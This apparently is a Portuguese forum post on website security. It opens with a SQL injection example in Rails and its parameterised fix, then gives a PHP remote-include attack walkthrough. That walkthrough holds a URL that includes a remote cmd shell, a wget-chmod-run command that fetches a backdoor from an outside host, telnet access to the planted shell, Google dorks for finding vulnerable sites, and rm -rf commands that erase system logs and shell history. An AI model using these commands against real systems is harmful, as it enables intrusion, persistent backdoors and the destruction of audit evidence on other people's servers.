Segurança de web sites Quando se planeja o desenvolvimento de um site, uma das coisas
mais importante e a segurança.
É comum vemos sites serem "hackeados" por falhas descobertas pelos defacer
essas falhas são encontradas muitas vezes pela preguiça de administradores
que pegam na web scripts prontos que vem com diversas falhas
assim prejudicando ao site.
Uma falha de segurança bem conhecida e a falha chamada de SQL INJETION.
O que e sql injectionSql injection grave na criação de sites porque um usuario malicioso poderia tentar ter acesso root ao sistema, modificando a pagina inicial do site e etc
Mostrarei um codigo com falha de sql injection
Quoteclass User < ActiveRecord::Base
def login
@user = User.find(:first,
:conditions => "login = '#{params[:name]}'
AND password = '#{params[:password]}'")
end
end
o erro desse codigo esta em # ele e perigoso porque substitui diretamente a variavel sem
nenhum tratamento
entao o usuario poderia poderia ate conseguir acesso root ao sistema observe porque
Quoteparams[:name] = ' OR '1'='1
params[:password] = ' OR '1'='1
esse seria o nome e senha = ' OR '1'='1 entao o usuario poderia entrar em uma area restritas com esse nome e senha
vamos entender porque. Isso geraria a seguinte consulta no banco de dados
Quoteselect * from users where login='' OR '1'='1' AND
password='' OR '1'='1' LIMIT 1
com essa consulta o usuario entraria no site com o primeiro usuario cadastrado
no banco de dados muitas vezes sendo um administrador teste ou o administrador legitimo a cláusula "or" sempre sera true o "select' sem cláusula where retornaria a tabela inteira mas usando o "LIMIT 1" o primeiro usuario do banco de dados sera
retornado
veja esse codigo q mostra como resolver essa falha
Quotedef login
@user = User.find(:first,
:conditions => ["login = ? AND password = ?"
,params[:name],params[:password]])
end
agora trocamos para a condição via array sendo o primeiro indice , a conição dita e partir do segundo índice, as variáveis, já tratadas pelo Rails, que serão substituídas pelo símbolo ? em mesma hora que os simbolos aparecem asssim evitando a falha
SQL INJECTION.
Outra flha bem conhecida e php injection
Php injectionA vulnerabilidade php injection acontece muitas vezes por desconhecimento ou falha do web master esse falha acontece por esses web master colocarem "includes"sem verificar,
as "strings"
exeplo de script vulneravel
Quoteinclude('topo.php');
include('menu.php');
include($page);
exitem varias strings a mas comun entre essas e a string page exemplo de um site ficticio
Quotewww.exemplo.com.br /index.php?page=noticias.php
esse exemplo carregaria a pagina noticias.php se ela for vulneravel conseguiriamos injetar codigos maliciosos que executam comandos por isso o nome (php injection)
vamos supor que isso seria uma cmd
Quotehttp://www.cdm.com.br/xpl/cmd.gif?&cmd=ls
entao você temtaria assim
Quotehttp://www.exmplo.com.br/index.php?pag...md.gif?&cmd=ls
então se a pagina for vulneravel ela vai carregar mas se ela funcionar e estiver em safe mode que e uma opição do php.ini entao vai listar os arquivos do site (comando ls).
Depois disso você pode usar sua criatividade rodar backdoor para ter acesso remoto (por telnet/putty), pacotar pessoas e servers, configurar psybnc, etc.. Se precisar? saber alguns comandos de Linux/FreeBSD/SunOS..
QuoteBackdoor http://rock-spartx.awardspace.com/xpl/r0nin (http://rock-spartx.awardspace.com/xpl/r0nin)
Para usar coloque no 'cmd' cd /tmp;wget
Quotehttp://www.cdm.com.br/xpl/r0nin;chmod 777 r0nin;./r0nin
Então você entra na pasta tmp, baixa a backdoor (exploit), coloca permissão para o arquivo e roda ele
Por exemplo:
Quotehttp://www.exemplo.com.br/index.php?pag...0r0nin;./r0nin
Se tudo der certo e o sistema nao estiver protegido por um firewall você vai em iniciar>executar>telnet > www.exemlo.com.br (http://www.exemlo.com.br) 1666 pronto você esta na maquina
Ai esta uma pequena lista para procurar sites vuls no google nao todos estaram vuls
Quoteallinurl:".php?cont="
allinurl:".php?c="
allinurl:".php?meio="
allinurl:".php?x="
allinurl:".php?cat="
allinurl:".php?site="
allinurl:".php?m="
allinurl:".php?do="
allinurl:".php?x="
allinurl:".php?content="
allinurl:".php?pagina="
allinurl:".php?root="
allinurl:".php?include="
allinurl:".php?open="
allinurl:".php?visualizar="
allinurl:".php?conf="
ai vais alguns comandos uteis para apagar logs
Quoterm -rf /var/log
rm -rf /var/adm
rm -rf /var/apache/log
rm -rf $HISTFILE
find / -name .bash_history -exec rm -rf {} ;
find / -name .bash_logout -exec rm -rf {} ;
find / -name log* -exec rm -rf {} ;
find / -name *.log -exec rm -rf {} ;
cookiesos cookies são utilizado pelos sites para armazenar informações sobre os visitantes como senha e etc...
os cookies sao arquivos de texto que ficam no computador do internauta eles podem ser recuperados pelo site q o enviou enquanto voce navegava
os cookies são armazenados mas todos eles tem uma data de vencimento e epois dessa data sao eliminidos.
A eliminação antes do vencimento poe ser feita pelo usuario mas o armazenamento e remoção desses biscoitos kk e diferente em cada navegador
Para remover cookies do internet explorer você entrara em ferramentas >opções de internet>geral e clicar em excluir arquivos a remoção dos arquivos temporarios sao imcluidos na remoção dos cookies tambem
Para remover os cookies do firefox basta
Clique no menu ferramentas do navegador.>selecione opções no menu> clique na guia privacidade>Na seção mediana, clique no botão limpar ao lado da palavra Cookies.
clique no botão OK da janela Opções.
galera simples mas espero q gostem